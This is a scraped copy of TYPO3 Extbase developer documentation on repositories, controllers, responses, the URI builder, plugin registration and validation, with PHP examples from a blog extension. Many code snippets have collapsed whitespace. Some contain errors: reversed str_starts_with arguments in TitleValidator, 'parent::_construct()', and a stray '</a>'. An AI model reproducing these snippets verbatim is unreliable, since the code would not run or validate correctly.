A repository is always responsible for precisely one type of
domain object.
The naming of the repositories is important:
If the domain object is, for example, Blog (with full name
\FriendsOfTYPO3\BlogExample\Domain\Model\Blog),
then the corresponding repository is named BlogRepository (with the full name
\FriendsOfTYPO3\BlogExample\Domain\Repository\BlogRepository).
The
\TYPO3\CMS\Extbase\Persistence\Repository already offers a large
number of useful functions. Therefore, in simple classes that extend the
Repository class and leaving the class empty otherwise is sufficient.
The
BlogRepository sets some default orderings and is otherwise empty:
Class T3docs\BlogExample\Domain\Repository\BlogRepository
The "magic" find methods findByX(), findOneByX() and countByX() have
been removed. See Migration
The (not-magic) methods findByUid() and findByIdentifier() have not
been deprecated or removed, and are still valid.
Using these methods will fetch a given domain object by it's UID, ignoring possible storage
page settings - unlike findBy([...]), which does respect those settings.
The
Repository class provides the following methods for querying against
arbitrary criteria:
findBy(array $criteria, array $orderBy = null, int $limit = null, int $offset = null): QueryResultInterface
Saving a
QueryResult to a cache is not possible, if objects in the
QueryResult contain closures. This is typically the case for models
which use lazy loading on properties.
Custom find methods
Custom find methods can be implemented. They can be used for complex queries.
Attention
As Extbase repositories turn the results into objects, querying large
amounts of data is resource-intensive.
Example:
The
PostRepository of the
t3docs/blog-example
example extension implements
several custom find methods, two of them are shown below:
Class T3docs\BlogExample\Domain\Repository\PostRepository
If the query settings should be used for all methods in the repository,
they should be set in the method
initializeObject() method.
Class T3docs\BlogExample\Domain\Repository\CommentRepository
classCommentRepositoryextendsRepository{
publicfunctioninitializeObject(): void{
$querySettings = $this->createQuery()->getQuerySettings();
// Show comments from all pages
$querySettings->setRespectStoragePage(false);
$this->setDefaultQuerySettings($querySettings);
}
}
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Attention
Depending on the query settings, hidden or even deleted objects can become
visible. This might cause sensitive information to be disclosed. Use with care.
If you only want to change the query settings for a specific method, they can be
set in the method itself:
Class T3docs\BlogExample\Domain\Repository\CommentRepository
Sets the default query settings to be used in this repository.
A typical use case is an initializeObject() method that creates a QuerySettingsInterface
object, configures it and sets it to be used for all queries created by the repository.
Warning: Using this setter fully overrides native query settings created by
QueryFactory->create(). This especially means that storagePid settings from
configuration are not applied anymore, if not explicitly set. Make sure to apply these
to your own QuerySettingsInterface object if needed, when using this method.
Most Extbase controllers are based on the
\TYPO3\CMS\Extbase\Mvc\Controller\ActionController . It is theoretically
possible to base a controller directly on the
\TYPO3\CMS\Extbase\Mvc\Controller\ControllerInterface , however there are
rarely use cases for that. Implementing the
ControllerInterface does not
guarantee a controller to be dispatchable. It is not recommended to base
your controller directly on the
ControllerInterface.
Most public and protected methods that end in "Action" (for example
indexAction() or
showAction()),
are automatically registered as actions of the controller.
Controller actions must return an instance of the
\Psr\Http\Message\ResponseInterface .
Many of these actions have parameters. You should use strong types for the
parameters as this is necessary for the validation.
Class T3docs\BlogExample\Controller\BlogController
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
classBlogControllerextendsAbstractController{
/**
* Displays a form for creating a new blog
*/publicfunctionnewAction(?Blog $newBlog = null): ResponseInterface{
$this->view->assignMultiple([
'newBlog' => $newBlog,
'administrators' => $this->administratorRepository->findAll(),
]);
return$this->htmlResponse();
}
}
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The validation of domain object can be explicitly disabled by the annotation
@TYPO3\CMS\Extbase\Annotation\IgnoreValidation. This might be necessary
in actions that show forms or create domain objects.
Default values can, as usual in PHP, just be indicated in the method signature.
In the above case, the default value of the parameter
$newBlog is set to
NULL.
If the action should render the view you can return
$this->htmlResponse()
as a shortcut for taking care of creating the response yourself.
In order to redirect to another action, return
$this->redirect('another'):
Class T3docs\BlogExample\Controller\BlogController
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
useT3docs\BlogExample\Exception\NoBlogAdminAccessException;
classBlogControllerextendsAbstractController{
/**
* Updates an existing blog
*
* $blog is a not yet persisted clone of the original blog containing
* the modifications
*
* @throws NoBlogAdminAccessException
*/publicfunctionupdateAction(Blog $blog): ResponseInterface{
$this->checkBlogAdminAccess();
$this->blogRepository->update($blog);
$this->addFlashMessage('updated');
return$this->redirect('index');
}
}
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If an exception is thrown while an action is executed you will receive the
"Oops an error occurred" screen on a production system or a stack trace on a
development system with activated debugging.
Note
The methods
initializeAction(),
initializeDoSomethingAction() and
errorAction() have special meanings in initialization and error handling
and are no Extbase actions.
Define initialization code
Sometimes it is necessary to execute code before calling an action. For example,
if complex arguments must be registered, or required classes must be instantiated.
There is a generic initialization method called
initializeAction(), which
is called after the registration of arguments, but before calling the
appropriate action method itself. After the generic initializeAction(), if
it exists, a method named initialize[ActionName](), for example
initializeShowAction is called.
In this method you can perform action specific initializations.
In the backend controller of the blog example the method
initializeAction() is used to discover the page that is currently
activated in the page tree and save it in a variable:
Class T3docs\BlogExample\Controller\BackendController
If an argument validation error has occurred, the method
errorAction()
is called.
The default implementation sets a flash message, error response with HTTP
status 400 and forwards back to the originating action.
This is suitable for most actions dealing with form input.
If you need a to handle errors differently this method can be overridden.
Hint
If a domain object should not be validated, for example in the middle of an
editing process, the validation of that object can be disabled by the
annotation
@TYPO3\CMS\Extbase\Annotation\IgnoreValidation.
Forward to a different controller
It is possible to forward from one controller action to an action of the same or a different
controller. This is even possible if the controller is in another extension.
This can be done by returning a
\TYPO3\CMS\Extbase\Http\ForwardResponse .
In the following example, if the current blog is not found in the
index action of the
PostController, we follow to the list of blogs
displayed by the
indexAction of the
BlogController.
Class T3docs\BlogExample\Controller\PostController
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
useTYPO3\CMS\Core\Pagination\SimplePagination;
useTYPO3\CMS\Extbase\Http\ForwardResponse;
useTYPO3\CMS\Extbase\Pagination\QueryResultPaginator;
classPostControllerextendsAbstractController{
/**
* Displays a list of posts. If $tag is set only posts matching this tag are shown
*/publicfunctionindexAction(
?Blog $blog = null,
string $tag = '',
int $currentPage = 1,
): ResponseInterface{
if ($blog == null) {
return (new ForwardResponse('index')) ->withControllerName('Blog') ->withExtensionName('blog_example') ->withArguments(['currentPage' => $currentPage]);
}
$this->blogPageTitleProvider->setTitle($blog->getTitle());
if (empty($tag)) {
$posts = $this->postRepository->findBy(['blog' => $blog]);
} else {
$tag = urldecode($tag);
$posts = $this->postRepository->findByTagAndBlog($tag, $blog);
$this->view->assign('tag', $tag);
}
$paginator = new QueryResultPaginator(
$posts,
$currentPage,
(int)($this->settings['itemsPerPage'] ?? 3),
);
$pagination = new SimplePagination($paginator);
$this->view->assignMultiple([
'paginator' => $paginator,
'pagination' => $pagination,
'pages' => range(1, $pagination->getLastPageNumber()),
'blog' => $blog,
'posts' => $posts,
]);
return$this->htmlResponse();
}
}
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Forwards only work when the target controller and action is properly registered
as an allowed pair. This can be done via an extension's ext_localconf.php file
in the relevant
ExtensionUtility::configurePlugin() section, or by
filling the
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['extbase']['extensions']
array and
tt_content.(pluginSignature) TypoScript.
Otherwise, the object class name of your target controller cannot be resolved properly,
and container instantiation will fail.
Here, the plugin BlogExample would allow jumping between the controllers
PostController and
CommentController. To also allow
BlogController in the example above, it would need to get added
like this:
Sometimes you may want to use an Extbase controller action to
return a specific output, and then stop the whole request flow.
For example, a
downloadAction() might provide some binary data,
and should then stop.
By default, Extbase actions need to return an object of type
\Psr\Http\Message\ResponseInterface as described above. The actions
are chained into the TYPO3 request flow (via the page renderer), so the
returned object will be enriched by further processing of TYPO3. Most
importantly, the usual layout of your website will be surrounded
by your Extbase action's returned contents, and other plugin outputs may
come before and after that.
In a download action, this would be unwanted content. To prevent that
from happening, you have multiple options. While you might think placing
a
die() or
exit() after your download action processing
is a good way, it is not very clean.
The recommended way to deal with this, is to use a
PSR-15 middleware implementation. This is more performant,
because all other request workflows do not even need to be executed, because no other
plugin on the same page needs to be rendered. You would refactor your code so that
downloadAction() is not executed (e.g. via
<f:form.action>), but instead
point to your middleware routing URI, let the middleware properly
create output, and finally stop its processing by a concrete
\Psr\Http\Message\ResponseFactoryInterface result object,
as described in the Middleware chapters.
If there are still reasons for you to utilize Extbase for this, you can use
a special method to stop the request workflow. In such a case a
\TYPO3\CMS\Core\Http\PropagateResponseException can be thrown. This is automatically
caught by a PSR-15 middleware and the given PSR-7 response is then returned directly.
<?phpusePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Core\Http\PropagateResponseException;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
finalclassMyControllerextendsActionController{
publicfunctiondownloadAction(): ResponseInterface{
// ... do something (set $filename, $filePath, ...)
$response = $this->responseFactory->createResponse()
// Must not be cached by a shared cache, such as a proxy server
->withHeader('Cache-Control', 'private')
// Should be downloaded with the given filename
->withHeader('Content-Disposition', sprintf('attachment; filename="%s"', $filename))
->withHeader('Content-Length', (string)filesize($filePath))
// It is a PDF file we provide as a download
->withHeader('Content-Type', 'application/pdf')
->withBody($this->streamFactory->createStreamFromFile($filePath));thrownew PropagateResponseException($response, 200);
}
}
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Also, if your controller needs to perform a redirect to a defined URI (internal or external),
you can return a specific object through the
responseFactory:
<?phpusePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
finalclassMyControllerextendsActionController{
publicfunctionredirectAction(): ResponseInterface{
// ... do something (set $value, ...)
$uri = $this->uriBuilder->uriFor('show', ['parameter' => $value]);
// $uri could also be https://example.com/any/uri// $this->resourceFactory is injected as part of the `ActionController` inheritancereturn$this->responseFactory->createResponse(307)
->withHeader('Location', $uri); }
}
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Hint
If you want to return a JSON response, see Responses to achieve this
with a special
$this->jsonResponse() method.
Extbase offers an out of the box handling for errors. Errors might occur during
the mapping of incoming action arguments. For example, an argument can not
be mapped or validation did not pass.
How it works
Extbase will try to map all arguments within
ActionController. During
this process arguments will also be validated.
If an error occurred, the class will call the
$this->errorMethodName
instead of determined
$this->actionMethodName.
The default is to call
errorAction() which will:
Clear cache in case
persistence.enableAutomaticCacheClearing is
activated and current scope is frontend.
Add an error Flash Message
by calling
addErrorFlashMessage().
It will in turn call
getErrorFlashMessage() to retrieve the
message to show.
Return the user to the referring request URL. If no referrer exists, a plain text
message will be displayed, fetched from
getFlattenedValidationErrorMessage().
Extbase property mapper
Extbase provides a property mapper to convert different values, like integers
or arrays, to other types, like strings or objects.
In this example, we provide a string that will be converted to an integer:
Class T3docs\BlogExample\Controller\PostController
useTYPO3\CMS\Extbase\Property\Exception;
classPostControllerextendsAbstractController{
/**
* This method demonstrates property mapping to an integer
* @throws Exception
*/protectedfunctionmapIntegerFromString(string $numberString = '42'): int{
return $output = $this->propertyMapper->convert($numberString, 'integer');
}
}
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Conversion is done by using the
TYPO3\CMS\Extbase\Property\PropertyMapper::convert()
method.
Note
The
PropertyMapper has to be injected before it can be used:
Class T3docs\BlogExample\Controller\PostController
The result is a new instance of
\FriendsOfTYPO3\BlogExample\Domain\Model\Tag
with defined property name.
Note
The property mapper will not check the validation rules. The result will be
whatever the input is.
Type converters
Type converters are commonly used when it is necessary to convert from one type
into another. They are usually applied in the Extbase controller in the
initialize<actionName>Action() method.
For example a date might be given as string in some language,
"October 7th, 2022" or as UNIX time stamp:
1665159559.
Your action method, however, expects a
\DateTime object. Extbase tries to
match the data coming from the frontend automatically.
When matching the data formats is expected to fail you can use one of the type
converters provided by Extbase or implement a type converter yourself
by implementing the interface
\TYPO3\CMS\Extbase\Property\TypeConverterInterface .
A custom type converter must implement the interface
\TYPO3\CMS\Extbase\Property\TypeConverterInterface . In most use cases
it will extend the abstract class
\TYPO3\CMS\Extbase\Property\TypeConverter\AbstractTypeConverter , which
already implements this interface.
All type converters should have no internal state, such that they
can be used as singletons and multiple times in succession.
The registration and configuration of a type converter is done in the extension's
Services.yaml:
For conversions of Extbase controller action parameters into Extbase domain
model objects the incoming data is usually a numeric type, but in case of an update
action it might as well be an array containing its ID as property __identifier.
Thus the configuration should list
array as one of its sources:
The result of an action or a chain of actions is usually a view where output,
most often as HTML is displayed to the user.
The action, located in the controller returns a
ResponseInterface
(
\Psr\Http\Message\ResponseInterface )
which contains the result of the view. The view, property
$view of type
ViewInterface (
\TYPO3Fluid\Fluid\View\ViewInterface ).
In the most common case it is sufficient to just set some variables on the
$view and return
$this->htmlResponse():
Class T3docs\BlogExample\Controller\BlogController
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
classBlogControllerextendsAbstractController{
/**
* Displays a form for creating a new blog
*/publicfunctionnewAction(?Blog $newBlog = null): ResponseInterface{
$this->view->assignMultiple([
'newBlog' => $newBlog,
'administrators' => $this->administratorRepository->findAll(),
]);
return$this->htmlResponse();
}
}
In the most common case it is sufficient to just set some variables on the
$view and return
$this->htmlResponse(). The Fluid templates
will then configure the rendering:
Class T3docs\BlogExample\Controller\BlogController
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
classBlogControllerextendsAbstractController{
/**
* Displays a form for creating a new blog
*/publicfunctionnewAction(?Blog $newBlog = null): ResponseInterface{
$this->view->assignMultiple([
'newBlog' => $newBlog,
'administrators' => $this->administratorRepository->findAll(),
]);
return$this->htmlResponse();
}
}
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It is also possible to directly pass a HTML string to the function
htmlResponse(). This way other templating engines but Fluid can be used:
Class T3docs\BlogExample\Controller\BlogController
Similar to the method
$this->htmlResponse() there is a method
$this->jsonResponse(). In case you are using it you have to make sure
the view renders valid JSON.
Rendering JSON by Fluid is in most cases not a good option. Fluid uses special
signs that are needed in JSON etc. So in most cases the
jsonResponse()
is used to directly output a json string:
Class T3docs\BlogExample\Controller\BlogController
It is also possible to use the JSON response together with a special view class
the
JsonView (
\TYPO3\CMS\Extbase\Mvc\View\JsonView ).
Response in a different format
If you need any output format but HTML or JSON, build the response object
using
$responseFactory implementing the
ResponseFactoryInterface:
Class T3docs\BlogExample\Controller\PostController
usePsr\Http\Message\ResponseInterface;
classPostControllerextendsAbstractController{
/**
* Displays a list of posts as RSS feed
*/publicfunctiondisplayRssListAction(): ResponseInterface{
$defaultBlog = $this->settings['defaultBlog'] ?? 0;
if ($defaultBlog > 0) {
$blog = $this->blogRepository->findByUid((int)$defaultBlog);
} else {
$blog = $this->blogRepository->findAll()->getFirst();
}
$this->view->assign('blog', $blog);
return$this->responseFactory->createResponse() ->withHeader('Content-Type', 'text/xml; charset=utf-8') ->withBody($this->streamFactory->createStream($this->view->render()));
}
}
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URI builder (Extbase)
The URI builder offers a convenient way to create links in an Extbase context.
Usage in an Extbase controller
The URI builder is available as a property in a controller class which extends
the Extending the ActionController class. The request context is automatically
available to the UriBuilder.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Controller\MyController;
usePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
finalclassMyControllerextendsActionController{
publicfunctionmyAction(): ResponseInterface{
$url = $this->uriBuilder
->reset()
->setTargetPageUid(42)
->uriFor(
'another', // only action name, not `myAction`
[
'myRecord' => 21,
],
'My', // only controller name, not `MyController`'myextension',
'myplugin',
);
// do something with $url
}
}
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Have a look into the API for the available methods of
the URI builder.
Attention
As the URI builder holds state, you have to call
reset() before
creating a URL.
Usage in another context
The class
\TYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder can be injected
via constructor in a class:
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\MyClass;
usePsr\Http\Message\ServerRequestInterface;
useTYPO3\CMS\Extbase\Mvc\ExtbaseRequestParameters;
useTYPO3\CMS\Extbase\Mvc\Request;
useTYPO3\CMS\Extbase\Mvc\RequestInterface;
useTYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder;
finalclassMyClass{
publicfunction__construct(
private readonly UriBuilder $uriBuilder,
){}
publicfunctiondoSomething(){
$this->uriBuilder->setRequest($this->getExtbaseRequest());
$url = $this->uriBuilder
->reset()
->setTargetPageUid(42)
->uriFor(
'my', // only action name, not `myAction`
[
'myRecord' => 21,
],
'My', // only controller name, not `MyController`'myextension',
'myplugin',
);
// do something with $url
}
privatefunctiongetExtbaseRequest(): RequestInterface{
/** @var ServerRequestInterface $request */
$request = $GLOBALS['TYPO3_REQUEST'];
// We have to provide an Extbase request objectreturnnew Request(
$request->withAttribute('extbase', new ExtbaseRequestParameters()),
);
}
}
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Setting the request object before first usage is mandatory.
Note
In the above example, the PSR-7 request object is
retrieved from the global variable
TYPO3_REQUEST. This is not
recommended and is only a fallback. See the section
Getting the PSR-7 request object to learn how to retrieve the request
PSR-7 object depending on the context.
Attention
When using the URI builder to build frontend URLs, the current content
object is required. It is initialized from the handed in local request
object. In case extensions set the request object without the request attribute
currentContentObject,
an automatic fallback is applied in TYPO3 v12, triggering a PHP deprecation
warning. The fallback has been removed in TYPO3 v13.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Controller\MyController;
usePsr\Http\Message\ServerRequestInterface;
useTYPO3\CMS\Extbase\Mvc\Web\Routing\UriBuilder;
useTYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;
finalclassMyLinkViewHelperextendsAbstractViewHelper{
publicfunction__construct(private UriBuilder $uriBuilder){}
publicfunctionrender(): string{
if ($this->renderingContext->hasAttribute(ServerRequestInterface::class)) {
// TYPO3 v13+ compatibility
$request = $this->renderingContext->getAttribute(ServerRequestInterface::class);
} else {
thrownew \RuntimeException(
'The rendering context of this ViewHelper is missing a valid request object, probably because it is used outside of Extbase context.',
1730537505,
);
}
// Request context is needed before $this->uriBuilder is first used for returning links.// Note: this will not be reset on calling $this->uriBuilder->reset()!$this->uriBuilder->setRequest($request);
$url = $this->uriBuilder
->reset()
->setTargetPageUid(2751)
->uriFor(
'another', // only action name, not `myAction`
[
'myRecord' => 21,
],
'My', // only controller name, not `MyController`'myextension',
'myplugin',
);
// do something with $url, for example:return'Link: ' . $url . '</a>';
}
}
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Note
This example was taken from
\TYPO3\CMS\Fluid\ViewHelpers\Uri\ActionViewHelper
of the TYPO3 Core. These ViewHelpers are always a useful example to see the best practice on how
to retrieve request context.
Attention
This example uses the
\TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper to be extended from,
which does not have its own constructor, making constructor-based dependency injection straight forward.
However, if you use
\TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper as a base, which already
provides a constructor, be sure to call
parent::_construct() in your custom constructor.
Alternatively (though less recommendable), you can use
GeneralUtility::makeInstance() to retrieve
the UriBuilder instance, or use method-based injection (
injectUriBuilder(UriBuilder $uriBuilder)).
Note, always flush the TYPO3 cache after adding/modifying ViewHelpers with new injected dependencies.
See Dependency injection for more details.
If set, the current query parameters will be merged with $this->arguments in backend context.
In frontend context, setting this property will only include mapped query arguments from the
Page Routing. To include any - possible "unsafe" - GET parameters, the property has to be set
to "untrusted". Defaults to FALSE.
param $addQueryString
is set to "1", "true", "0", "false" or "untrusted"
Creates a URI used for linking to an Extbase action.
Works in Frontend and Backend mode of TYPO3.
param $actionName
Name of the action to be called, default: NULL
param $controllerArguments
Additional query parameters. Will be "namespaced" and merged with $this->arguments., default: NULL
param $controllerName
Name of the target controller. If not set, current ControllerName is used., default: NULL
param $extensionName
Name of the target extension, without underscores. If not set, current ExtensionName is used., default: NULL
param $pluginName
Name of the target plugin. If not set, current PluginName is used., default: NULL
Return description
The rendered URI
Returns
string
build()
Builds the URI
Depending on the current context this calls buildBackendUri() or buildFrontendUri()
Return description
The URI
Returns
string
Registration of frontend plugins
When you want to use Extbase controllers in the frontend you need to define a
so called frontend plugin.
Extbase allows to define multiple frontend plugins
for different use cases within one extension.
Content element plugins can be added by editors to pages in the Page
module while TypoScript frontend plugin can only be added via TypoScript or
Fluid in a predefined position of the page. All content element plugins can
also be used as TypoScript plugin.
Frontend plugin as content element
The plugins in the New Content Element wizard
Use the following steps to add the plugin as content element:
configurePlugin(): Make the plugin available in the frontend
EXT:blog_example/ext_localconf.php
<?phpdeclare(strict_types=1);useFriendsOfTYPO3\BlogExample\Controller\CommentController;useFriendsOfTYPO3\BlogExample\Controller\PostController;useTYPO3\CMS\Extbase\Utility\ExtensionUtility;defined('TYPO3') ordie();ExtensionUtility::configurePlugin(// extension name, matching the PHP namespaces (but without the vendor)'BlogExample',// arbitrary, but unique plugin name (not visible in the backend)'PostSingle',// all actions [PostController::class => 'show', CommentController::class => 'create'],// non-cacheable actions [CommentController::class => 'create'], ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT,);
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Use the following parameters:
Extension key
'blog_example' or name
BlogExample.
A unique identifier for your plugin in UpperCamelCase:
'PostSingle'
An array of allowed combinations of controllers and actions stored in an array
(Optional) an array of controller name and action names which should not be cached
Using any value but ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT is
deprecated in TYPO3 v13.4.
Deprecated since version 13.4
Setting the fifth parameter to any value but ExtensionUtility::PLUGIN_TYPE_CONTENT_ELEMENT
is deprecated. See Migration: list_type plugins to CType.
TYPO3\CMS\Extbase\Utility\ExtensionUtility::configurePlugin() generates
the necessary TypoScript to display the plugin in the frontend.
In the above example the actions
show in the
PostController and
create in the
CommentController are allowed. The later action
should not be cached. This action can show different output depending on
whether a comment was just added, there was an error in the input etc.
Therefore the output of the action
create of the
CommentController
should not be cached.
The action
delete of the
CommentController is not listed. This
action is therefore not allowed in this plugin.
The TypoScript of the plugin will be available at
tt_content.blogexample_postsingle. Additionally
the lists of allowed and non-cacheable actions have been added to the
according global variables.
registerPlugin(): Add the plugin as option to the field "Type" of
the content element (column
CType of table
tt_content).
This makes the plugin available in the field
Type of the content elements and automatically registers it for
the New Content Element Wizard.
<?phpuseTYPO3\CMS\Extbase\Utility\ExtensionUtility;defined('TYPO3') ordie();(staticfunction(): void{ $pluginKey = ExtensionUtility::registerPlugin(// extension name, matching the PHP namespaces (but without the vendor)'BlogExample',// arbitrary, but unique plugin name (not visible in the backend)'PostSingle',// plugin title, as visible in the drop-down in the backend, use "LLL:" for localization'Single Post (BlogExample)',// plugin icon, use an icon identifier from the icon registry'my-icon',// plugin group, to define where the new plugin will be located in'default',// plugin description, as visible in the new content element wizard'My plugin description', );})();
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Use the following parameters:
Extension key
'blog_example' or name
BlogExample.
A unique identifier for your plugin in UpperCamelCase:
'PostSingle',
must be the same as used in
configurePlugin() or the plugin will
not render.
Plugin title in the backend: Can be a string or a localized string starting
with
LLL:.
(Optional) the icon identifier or file path prepended with "EXT:"
Frontend plugin as pure TypoScript
configurePlugin(): Make the plugin available in the frontend
Configure the plugin just like described in
Frontend plugin as content element. This will create the
basic TypoScript and the lists of allowed controller-action combinations.
In this example we define a plugin displaying a list of posts as RSS feed:
The TypoScript EXTBASEPLUGIN object saved at
tt_content.blogexample_postlistrss can now be used
to display the frontend plugin. In this example we create a special page type
for the RSS feed and display the plugin via TypoScript there:
Each Extbase extension has some settings which can be modified using TypoScript.
Many of these settings affect aspects of the internal configuration of Extbase
and Fluid. There is also a block
settings in which you can
set extension specific settings that can be accessed in the controllers and
Fluid templates of your extension.
TypoScript for all frontend plugins can be set in the typoscript block
plugin.tx_[lowercasedextensionname], for example
plugin.tx_blogexample.
TypoScript for a specific frontend plugin can be set in the typoscript block
plugin.tx_[lowercasedextensionname]_[pluginname], for example
plugin.tx_blogexample_postsingle. Settings made here override
settings from
plugin.tx_blogexample.
TypoScript for all backend modules can be set
in
module.tx_[lowercasedextensionname], for example
module.tx_blogexample, for a specific backend module in
module.tx_<lowercaseextensionname>_<lowercasepluginname>.
<?phpdeclare(strict_types=1);
namespaceT3docs\BlogExample\Domain\Model;
useTYPO3\CMS\Extbase\Annotation\Validate;
useTYPO3\CMS\Extbase\DomainObject\AbstractEntity;
classBlogextendsAbstractEntity{
#[Validate(['validator' => 'StringLength',
'options' => ['maximum' => 150],
])]
public string $description = '';
/**
* Use annotations instead for compatibility with TYPO3 v11:
*
* @Validate("StringLength", options={"maximum": 150})
*/public string $description2 = '';
}
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Validate annotations for a controller action are executed additionally
to possible domain model validators.
IgnoreValidation
\TYPO3\CMS\Extbase\Annotation\IgnoreValidation(): Allows to ignore
all Extbase default validations for a given argument (for example a domain
model object).
<?phpdeclare(strict_types=1);
namespaceT3docs\BlogExample\Controller;
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
useTYPO3\CMS\Extbase\Annotation\IgnoreValidation;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
finalclassBlogControllerextendsActionController{
#[IgnoreValidation(['argumentName' => 'newBlog'])]publicfunctionnewAction(?Blog $newBlog = null): ResponseInterface{
// Do somethingreturn$this->htmlResponse();
}
/**
* Use annotations instead for compatibility with TYPO3 v11:
* @IgnoreValidation("newBlog")
*/publicfunctionnewAction2(?Blog $newBlog = null): ResponseInterface{
// Do somethingreturn$this->htmlResponse();
}
}
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You can not exclude specific properties of a object specified in an argument.
If you need to exclude certain validators of a domain model, you could adapt
the concept of a "Data Transfer Object" (DTO). You would create a distinct
model variant of the main domain model, and exclude all the properties that
you do not want validation for in your Extbase context, and transport
the contents from and between your original domain model to this instance.
Read more about this on https://usetypo3.com/dtos-in-extbase/ or see a
CRUD example for this on
https://github.com/garvinhicking/gh_validationdummy/
ORM (object relational model) annotations
The following annotations can only be used on model properties:
Cascade
\TYPO3\CMS\Extbase\Annotation\ORM\Cascade("remove"): Allows to remove
child entities during deletion of aggregate root.
People often assume that domain objects are consistent and adhere to
some rules at all times.
Unfortunately, this is not achieved automatically. So it is important to
define such rules explicitly.
In the blog example for the model
Person the following rules can
be defined
First name and last name should each have no more then 80 chars.
A last name should have at least 2 chars.
The parameter
email has to contain a valid email address.
These rules are called invariants, because they must be
valid during the entire lifetime of the object.
At the beginning of your project, it is important to consider which
invariants your domain objects will consist of.
When does validation take place?
Domain objects in Extbase are validated only at one point in time:
When they are used as parameter in a controller action.
When a user sends a request, Extbase first determines which action
within the controller is responsible for this request.
Extbase then maps the arguments so that they fit types as defined in the
actions method signature.
If there are validators defined for the action these are applied before
the actual action method is called.
When the validation fails the method
errorAction()
of the current controller is called.
Validation of model properties
Changed in version 13.2
All validation messages from included Extbase validators can now be overwritten
using validator options. It is possible to provide either a translation key or
a custom message as string.
You can define simple validation rules in the domain model by the annotation
Validate.
<?phpdeclare(strict_types=1);
namespaceT3docs\BlogExample\Domain\Model;
useTYPO3\CMS\Extbase\Annotation\Validate;
useTYPO3\CMS\Extbase\DomainObject\AbstractEntity;
classBlogextendsAbstractEntity{
#[Validate(['validator' => 'StringLength',
'options' => ['maximum' => 150],
])]
public string $description = '';
/**
* Use annotations instead for compatibility with TYPO3 v11:
*
* @Validate("StringLength", options={"maximum": 150})
*/public string $description2 = '';
}
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In this code section the validator
StringLength provided by Extbase
in class
\TYPO3\CMS\Extbase\Validation\Validator\StringLengthValidator
is applied with one argument.
Validation of controller arguments
You can also define controller argument validators:
The following rules validate each controller argument:
If the argument is a domain object, the annotations
\TYPO3\CMS\Extbase\Annotation\Validate in the domain object are taken into
account.
If there is set an annotation
\TYPO3\CMS\Extbase\Annotation\IgnoreValidation for the argument,
no validation is done.
Validators added in the annotation of the action are applied.
If the arguments of an action are invalid, the
errorAction
is executed. By default a HTTP response with status 400 is returned. If possible
the user is forwarded to the previous action. This behaviour can be overridden
in the controller.
PHP Attribut syntax of validators with arguments
Validators can be called with zero, one or more arguments. See the following
examples:
Custom validators are located in the directory Classes/Domain/Validator
and therefore in the namespace
\MyVendor\MyExtension\Domain\Validator.
All validators must implement
ValidatorInterface .
They usually extend the
AbstractValidator .
Note
In the directory
\TYPO3\CMS\Extbase\Validation\Validator\* Extbase
offers many validators for default requirements like the validation of
emails, numbers and strings. You do not need to implement such basic
checks yourself.
Custom validator for a property of the domain model
When the standard validators provided by Extbase are not sufficient you can
write a custom validators to use on the property of a domain model:
Class T3docs\BlogExample\Domain\Validator\TitleValidator
finalclassTitleValidatorextendsAbstractValidator{
protectedfunctionisValid(mixed $value): void{
// $value is the title stringif (str_starts_with('_', $value)) {
$errorString = 'The title may not start with an underscore. ';
$this->addError($errorString, 1297418976);
}
}
}
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The method
isValid() does not return a value. In case of an error it
adds an error to the validation result by calling method
addError().
The long number added as second parameter of this function is the current UNIX
time in the moment the error message was first introduced. This way all errors
can be uniquely identified.
This validator can be used for any string property of model now by including it
in the annotation of that parameter:
Validators added to a property of a model are executed whenever an object
of that model is passed to a controller action as a parameter.
The validation result of the parameter can be ignored by using the annotation
IgnoreValidation.
Complete domain model validation
At certain times in the life cycle of a model it can be necessary to validate
the complete domain model. This is usually done before calling a certain action
that will persist the object.
Class T3docs\BlogExample\Domain\Validator\BlogValidator
useT3docs\BlogExample\Domain\Model\Blog;
useTYPO3\CMS\Extbase\Utility\LocalizationUtility;
finalclassBlogValidatorextendsAbstractValidator{
protectedfunctionisValid(mixed $value): void{
if (!$value instanceof Blog) {
$errorString = 'The blog validator can only handle classes '
. 'of type T3docs\BlogExample\Domain\Validator\Blog. '
. $value::class . ' given instead.';
$this->addError($errorString, 1297418975);
}
if (!$this->blogValidationService->isBlogCategoryCountValid($value)) {
$errorString = LocalizationUtility::translate(
'error.Blog.tooManyCategories',
'BlogExample'
);
// Add the error to the property if it is specific to one property$this->addErrorForProperty('categories', $errorString, 1297418976);
}
if (!$this->blogValidationService->isBlogSubtitleValid($value)) {
$errorString = LocalizationUtility::translate(
'error.Blog.invalidSubTitle',
'BlogExample'
);
// Add the error directly if it takes several properties into account$this->addError($errorString, 1297418974);
}
}
}
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If the error is related to a specific property of the domain object, the
function
addErrorForProperty() should be used instead of
addError().
The validator is used as annotation in the action methods of the controller:
<?phpdeclare(strict_types=1);
namespaceT3docs\BlogExample\Controller;
usePsr\Http\Message\ResponseInterface;
useT3docs\BlogExample\Domain\Model\Blog;
useT3docs\BlogExample\Domain\Validator\BlogValidator;
